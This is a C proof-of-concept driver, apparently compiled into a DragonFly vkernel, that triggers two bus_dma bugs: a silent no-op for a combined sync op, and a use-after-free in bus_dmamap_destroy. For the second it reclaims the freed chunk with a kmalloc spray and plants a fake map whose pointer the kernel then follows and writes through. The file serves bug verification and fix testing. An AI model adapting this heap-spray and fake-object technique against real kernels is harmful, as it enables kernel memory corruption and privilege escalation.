/*
 * dfbusdma.c — in-vkernel trigger for two bugs in the VKERNEL64 bus_dma
 * implementation (sys/platform/vkernel64/platform/busdma_machdep.c):
 *
 *   DF-5370: bus_dmamap_destroy() happily frees a map that is still queued
 *            on bounce_zone->bounce_map_waitinglist (EINPROGRESS deferred
 *            load).  The next bounce-page release pops the freed chunk in
 *            get_map_waiting() and reserve_bounce_pages() follows
 *            map->dmat and writes map->pagesreserved — both read from /
 *            written into freed, attacker-repopulatable memory.
 *
 *   DF-5372: _bus_dmamap_sync() implements the sync op with switch(op),
 *            so a legal combined op (BUS_DMASYNC_PREWRITE|BUS_DMASYNC_
 *            POSTREAD) matches no case and performs no copy at all.
 *
 * This driver is compiled INTO the vkernel (no real bus_dma driver exists
 * in the stock VKERNEL64 config, so we play the role of one).  It runs
 * once at SI_SUB_CONFIGURE and prints DFBUSDMA/DF5370/DF5372 markers to
 * the console.
 *
 * On an unfixed kernel the DF-5370 sequence demonstrates, without panicking:
 *   (1) bus_dmamap_destroy(queued map) == 0  (freed while linked),
 *   (2) immediate same-size kmalloc reclaims the exact chunk,
 *   (3) the kernel then follows the *planted* map->dmat pointer and
 *       writes pagesreserved into the freed chunk (write-after-free),
 *   (4) the ghost reservation wedges the zone (victim load => EINPROGRESS
 *       forever).
 * On a kernel with fix.diff applied, destroy returns EBUSY and the zone
 * ends the test healthy (control path).
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/errno.h>
#include <sys/bus_dma.h>
#include <sys/types.h>
#include <vm/vm.h>
#include <vm/pmap.h>
#include <machine/md_var.h>

/*
 * Mirrors of the file-private structs in busdma_machdep.c.
 * Offsets are verified at runtime before any pointer is planted.
 */
struct df_bpage {			/* struct bounce_page		*/
	vm_offset_t	vaddr;		/*   0 kva of bounce buffer	*/
	bus_addr_t	busaddr;	/*   8			*/
	vm_offset_t	datavaddr;	/*  16			*/
	bus_size_t	datacount;	/*  24			*/
	void		*next;		/*  32 links.sqe_next		*/
};

/* DFly STAILQ_HEAD carries stqh_first AND stqh_last (2 pointers) */
#define	MAP_PAGESNEEDED_OFF	16	/* struct bus_dmamap (72B)	*/
#define	MAP_PAGESRESERVED_OFF	20
#define	MAP_DMAT_OFF		24
#define	TAG_BZONE_OFF		72	/* struct bus_dma_tag		*/
/* struct bounce_zone: links(1) + bplist(2) + waitlist(2) + spin(8), ints */
#define	BZ_TOTAL_OFF		48
#define	BZ_FREE_OFF		52
#define	BZ_RESERVED_OFF		56
#define	BZ_ACTIVE_OFF		60

static char df_planted_tag[128];	/* fake bus_dma_tag body	*/

static int df_cb_nsegs = -1;
static int df_cb_err;

static void
df_cb(void *arg, bus_dma_segment_t *segs, int nsegs, int error)
{
	df_cb_nsegs = nsegs;
	df_cb_err = error;
}

static void
df_zone_dump(bus_dma_tag_t tag, const char *label)
{
	char *bz = *(char **)((char *)tag + TAG_BZONE_OFF);

	if (bz == NULL) {
		kprintf("DFZ[%s]: no bounce zone\n", label);
		return;
	}
	kprintf("DFZ[%s]: total=%d free=%d reserved=%d active=%d\n", label,
	    *(int *)(bz + BZ_TOTAL_OFF), *(int *)(bz + BZ_FREE_OFF),
	    *(int *)(bz + BZ_RESERVED_OFF), *(int *)(bz + BZ_ACTIVE_OFF));
}

static void
df_map_dump(bus_dmamap_t map, const char *label)
{
	kprintf("DFM[%s]: pagesneeded=%d pagesreserved=%d dmat=%p\n", label,
	    *(int *)((char *)map + MAP_PAGESNEEDED_OFF),
	    *(int *)((char *)map + MAP_PAGESRESERVED_OFF),
	    *(void **)((char *)map + MAP_DMAT_OFF));
}

/*
 * kmalloc a LINEAR buffer whose every touched page translates
 * (pmap_kextract) to a physical address that is NOT page aligned, i.e.
 * one that addr_needs_bounce() accepts for a BOUNCE_ALIGN tag.
 *
 * Large kmallocs get page-quantized KVA, so we carve the buffer out at a
 * fixed mid-page offset (+2048): every page of [p, p+len) then carries the
 * same non-zero in-page offset in its pmap_kextract() translation,
 * regardless of which physical frames back the KVA run.
 *
 * NOTE: the returned pointer is interior; callers must NOT kfree it
 * (the boot-time test driver deliberately leaks these).
 */
static void *
df_alloc_misaligned(bus_size_t len)
{
	void *raw, *p;
	vm_offset_t v;
	int i, mis;

	for (i = 0; i < 64; i++) {
		raw = kmalloc(len + PAGE_SIZE, M_DEVBUF, M_INTWAIT);
		p = (void *)((uintptr_t)raw + 2048);
		mis = 1;
		for (v = (vm_offset_t)p; v < (vm_offset_t)p + len;
		     v += PAGE_SIZE) {
			if ((pmap_kextract(v) & (PAGE_SIZE - 1)) == 0) {
				mis = 0;
				break;
			}
		}
		if (mis)
			return (p);
		kfree(raw, M_DEVBUF);
	}
	return (NULL);
}

/* ------------------------------------------------------------------ */
/* DF-5372: combined sync op is a silent no-op                         */
/* ------------------------------------------------------------------ */
static int
df5372_sync_test(void)
{
	bus_dma_tag_t tag;
	bus_dmamap_t map;
	struct df_bpage *bp;
	void *buf;
	char pat1[32], pat2[32], planted[32];
	int err, ok_pre, ok_comb;

	err = bus_dma_tag_create(NULL, 8192, 0,
	    BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR,
	    8192, 1, 8192, BUS_DMA_ALLOCNOW, &tag);
	if (err) {
		kprintf("DF5372: tag_create err=%d\n", err);
		return (err);
	}
	err = bus_dmamap_create(tag, 0, &map);
	if (err || map == NULL) {
		kprintf("DF5372: map_create err=%d map=%p\n", err, map);
		return (-1);
	}
	buf = df_alloc_misaligned(64);
	if (buf == NULL) {
		kprintf("DF5372: no misaligned buffer\n");
		return (-1);
	}
	err = bus_dmamap_load(tag, map, buf, 64, df_cb, NULL, 0);
	if (err) {
		kprintf("DF5372: load err=%d\n", err);
		return (err);
	}
	bp = *(struct df_bpage **)(void *)map;		/* map->bpages.tqh_first */
	if (bp == NULL) {
		kprintf("DF5372: no bounce page attached (tag not bouncing)\n");
		return (-1);
	}
	kprintf("DF5372: bounce vaddr=%p datacount=%ju (misaligned buf=%p)\n",
	    (void *)bp->vaddr, (uintmax_t)bp->datacount, buf);

	/* control: PREWRITE alone must copy */
	memcpy(pat1, "PREWRITE-CONTROL-OK!", 20);
	memcpy(buf, pat1, 20);
	bus_dmamap_sync(tag, map, BUS_DMASYNC_PREWRITE);
	ok_pre = (memcmp((void *)bp->vaddr, pat1, 20) == 0);
	kprintf("DF5372: PREWRITE alone: %s\n", ok_pre ? "copy ok" : "BROKEN");

	/* bug: combined PREWRITE|POSTREAD matches no switch case */
	memcpy(pat2, "COMBINED-OP-PATTERN!!", 21);
	memcpy(buf, pat2, 21);
	memcpy(planted, "PLANTED-IN-BOUNCE!!", 19);
	memcpy((void *)bp->vaddr, planted, 19);
	bus_dmamap_sync(tag, map, BUS_DMASYNC_PREWRITE | BUS_DMASYNC_POSTREAD);
	/* honored op => bounce holds pat2 AND buf holds planted.
	   no-op      => bounce still holds planted AND buf still pat2. */
	ok_comb = (memcmp((void *)bp->vaddr, pat2, 21) != 0) &&
		  (memcmp(buf, planted, 19) != 0);
	kprintf("DF5372: combined PREWRITE|POSTREAD: %s\n", ok_comb ?
	    "SILENT NO-OP (bug confirmed)" : "honored");

	kprintf("DF5372: VERDICT %s\n", (ok_pre && ok_comb) ?
	    "PROVEN - combined op copies nothing" : "NOT PROVEN");

	bus_dmamap_unload(tag, map);
	bus_dmamap_destroy(tag, map);
	/* buf is an interior pointer - deliberately leaked */
	return (0);
}

/* ------------------------------------------------------------------ */
/* DF-5370: destroy() frees a map queued for a deferred load           */
/* ------------------------------------------------------------------ */
static int
df5370_uaf_test(void)
{
	bus_dma_tag_t tag;
	bus_dmamap_t mapA, mapB, mapC;
	void *bufA, *bufB, *fake = NULL, *zone, *pd;
	int err, rc, pn, pr, tries;

	/*
	 * lowaddr=16MB-1 creates a BOUNCE_LOWADDR tag: every buffer whose
	 * pages translate above 16MB (i.e. the whole vkernel kernel heap)
	 * needs bouncing regardless of in-page offset, so a multi-page
	 * buffer reserves one bounce page PER PAGE.  The odd lowaddr also
	 * keeps this tag's bounce zone private (the sync test's zone has
	 * lowaddr=BUS_SPACE_MAXADDR).  maxsize=4096 seeds exactly one
	 * bounce page at BUS_DMA_ALLOCNOW.
	 */
	err = bus_dma_tag_create(NULL, 1, 0,
	    BUS_SPACE_MAXADDR_24BIT, BUS_SPACE_MAXADDR,
	    4096, 1, 4096, BUS_DMA_ALLOCNOW, &tag);
	if (err) {
		kprintf("DF5370: tag_create err=%d\n", err);
		return (err);
	}
	bus_dmamap_create(tag, 0, &mapA);
	bus_dmamap_create(tag, 0, &mapB);
	bus_dmamap_create(tag, 0, &mapC);
	/* zone now: 1 (ALLOCNOW) + 1 (mapB create) + 1 (mapC create) = 3 */
	kprintf("DF5370: maps A=%p B=%p C=%p created\n",
	    (void *)mapA, (void *)mapB, (void *)mapC);

	bufA = df_alloc_misaligned(64);
	bufB = df_alloc_misaligned(6 * PAGE_SIZE);
	if (bufA == NULL || bufB == NULL) {
		kprintf("DF5370: misaligned alloc failed\n");
		return (-1);
	}

	df_zone_dump(tag, "after 3 map creates");
	kprintf("DFX: tag alignment=%ju lowaddr=%jx highaddr=%jx\n",
	    (uintmax_t)*(bus_size_t *)((char *)tag + 0),
	    (uintmax_t)*(bus_addr_t *)((char *)tag + 16),
	    (uintmax_t)*(bus_addr_t *)((char *)tag + 24));
	kprintf("DFX: bufA=%p extract=%jx; bufB=%p extract0=%jx extract1=%jx extract6=%jx\n",
	    bufA, (uintmax_t)pmap_kextract((vm_offset_t)bufA),
	    bufB, (uintmax_t)pmap_kextract((vm_offset_t)bufB),
	    (uintmax_t)pmap_kextract((vm_offset_t)bufB + PAGE_SIZE),
	    (uintmax_t)pmap_kextract((vm_offset_t)bufB + 6 * PAGE_SIZE));
	err = bus_dmamap_load(tag, mapA, bufA, 64, df_cb, NULL, 0);
	kprintf("DF5370: load A ret=%d cb_err=%d nsegs=%d (consumes 1 bounce page)\n",
	    err, df_cb_err, df_cb_nsegs);
	df_zone_dump(tag, "after load A");
	df_map_dump(mapA, "A");

	err = bus_dmamap_load(tag, mapB, bufB, 6 * PAGE_SIZE, df_cb, NULL, 0);
	kprintf("DF5370: load B ret=%d cb_err=%d (%s)\n", err, df_cb_err,
	    err == EINPROGRESS ?
	    "EINPROGRESS - mapB queued on bounce_map_waitinglist" :
	    "not queued");
	df_zone_dump(tag, "after load B");
	df_map_dump(mapB, "B");
	if (err != EINPROGRESS)
		return (-1);

	/* offset sanity via mirrors while mapB is valid and queued */
	pn = *(int *)((char *)mapB + MAP_PAGESNEEDED_OFF);
	pr = *(int *)((char *)mapB + MAP_PAGESRESERVED_OFF);
	pd = *(void **)((char *)mapB + MAP_DMAT_OFF);
	kprintf("DF5370: mirror check mapB pagesneeded=%d pagesreserved=%d "
	    "dmat=%p (tag=%p): %s\n", pn, pr, pd, tag,
	    (pn >= 2 && pd == tag) ? "OK" : "MISMATCH - abort");
	if (pn < 2 || pd != tag)
		return (-1);

	/* ---- THE BUG: destroy a map that is still on the waiting list ---- */
	rc = bus_dmamap_destroy(tag, mapB);
	kprintf("DF5370: bus_dmamap_destroy(queued mapB) = %d (%s)\n", rc,
	    rc == 0 ? "FREED WHILE STILL QUEUED - UAF armed" :
	    rc == EBUSY ? "EBUSY - fix active, UAF not armed" : "unexpected");

	if (rc != 0) {
		/* control path on a fixed kernel */
		bus_dmamap_unload(tag, mapA);
		bus_dmamap_unload(tag, mapB);
		err = bus_dmamap_load(tag, mapC, bufA, 64, df_cb, NULL, 0);
		kprintf("DF5370: fixed path: mapC load err=%d nsegs=%d - "
		    "zone %s\n", err, df_cb_nsegs,
		    err == 0 ? "healthy" : "wedged");
		goto out;
	}

	/*
	 * Try to reclaim the freed chunk (sizeof(struct bus_dmamap) == 72,
	 * i.e. the 128-byte kmalloc size class) with a same-size spray.
	 * DFly's objcache magazines are not strictly LIFO, so spray up to
	 * 512 chunks; whether or not the chunk is reclaimed, the deferred
	 * machinery below will write into freed memory.
	 */
	for (tries = 0; tries < 512; tries++) {
		fake = kmalloc(72, M_DEVBUF, M_INTWAIT | M_ZERO);
		if (fake == (void *)mapB)
			break;
	}
	if (fake == (void *)mapB) {
		/*
		 * Attacker now owns the queued "map" body: plant a fully
		 * chosen fake map, including the map->dmat pointer the
		 * kernel will follow.
		 */
		zone = *(void **)((char *)tag + TAG_BZONE_OFF);
		memset(df_planted_tag, 0, sizeof(df_planted_tag));
		*(void **)(df_planted_tag + TAG_BZONE_OFF) = zone;
		*(int *)((char *)fake + MAP_PAGESNEEDED_OFF) = 0x10000;
		*(int *)((char *)fake + MAP_PAGESRESERVED_OFF) = 0;
		*(void **)((char *)fake + MAP_DMAT_OFF) = df_planted_tag;
		kprintf("DF5370: reclaim: freed mapB=%p fake=%p SAME CHUNK - "
		    "planted pagesneeded=0x10000 pagesreserved=0 dmat=%p "
		    "(fully controlled) bzone=%p\n",
		    (void *)mapB, fake, df_planted_tag, zone);
	} else {
		kprintf("DF5370: reclaim: freed mapB=%p fake=%p miss after %d "
		    "tries - freed chunk keeps stale body (pagesneeded=7 "
		    "pagesreserved=2 dmat=live tag)\n",
		    (void *)mapB, fake, tries);
	}

	/*
	 * Wake the deferred machinery: freeing mapA's page runs
	 * free_bounce_page -> get_map_waiting -> reserve_bounce_pages(
	 * map->dmat, map, 1) on the freed chunk: the kernel follows
	 * map->dmat (planted or stale) and writes map->pagesreserved
	 * into freed memory.  The oversized/unsatisfiable pagesneeded
	 * keeps the reservation partial, so get_map_waiting returns NULL
	 * and the (notyet) add_map_callback stub is NOT reached - the
	 * run stays clean and deterministic.
	 */
	bus_dmamap_unload(tag, mapA);

	pn = *(int *)((char *)mapB + MAP_PAGESNEEDED_OFF);
	pr = *(int *)((char *)mapB + MAP_PAGESRESERVED_OFF);
	kprintf("DF5370: after wake: freed chunk pagesneeded=%d "
	    "pagesreserved=%d\n", pn, pr);
	if (fake == (void *)mapB) {
		kprintf("DF5370: VERDICT %s\n", pr == 1 ?
		    "PROVEN - kernel wrote pagesreserved (0->1) into the "
		    "reclaimed chunk after following its PLANTED dmat "
		    "pointer" : "NOT PROVEN");
	} else {
		kprintf("DF5370: VERDICT %s\n", pr == 3 ?
		    "PROVEN - kernel wrote pagesreserved (2->3) into the "
		    "freed chunk through the stale queued link" :
		    "NOT PROVEN");
	}

	/* consequence: the ghost reservation permanently wedges the zone */
	err = bus_dmamap_load(tag, mapC, bufA, 64, df_cb, NULL, 0);
	kprintf("DF5370: victim mapC load err=%d (%s)\n", err,
	    err == EINPROGRESS ?
	    "EINPROGRESS forever - zone wedged by a freed map's ghost "
	    "reservation" : "zone still usable");
	kprintf("DF5370: VERDICT wedge %s\n",
	    err == EINPROGRESS ? "PROVEN" : "NOT PROVEN");
out:
	/* bufA/bufB are interior pointers - deliberately leaked */
	return (0);
}

static void
dfbusdma_init(void *arg)
{
	kprintf("DFBUSDMA: begin (vkernel busdma DF-5370 / DF-5372 tests)\n");
	df5372_sync_test();
	df5370_uaf_test();
	kprintf("DFBUSDMA: done\n");
}

SYSINIT(dfbusdma, SI_SUB_CONFIGURE, SI_ORDER_MIDDLE, dfbusdma_init, NULL);
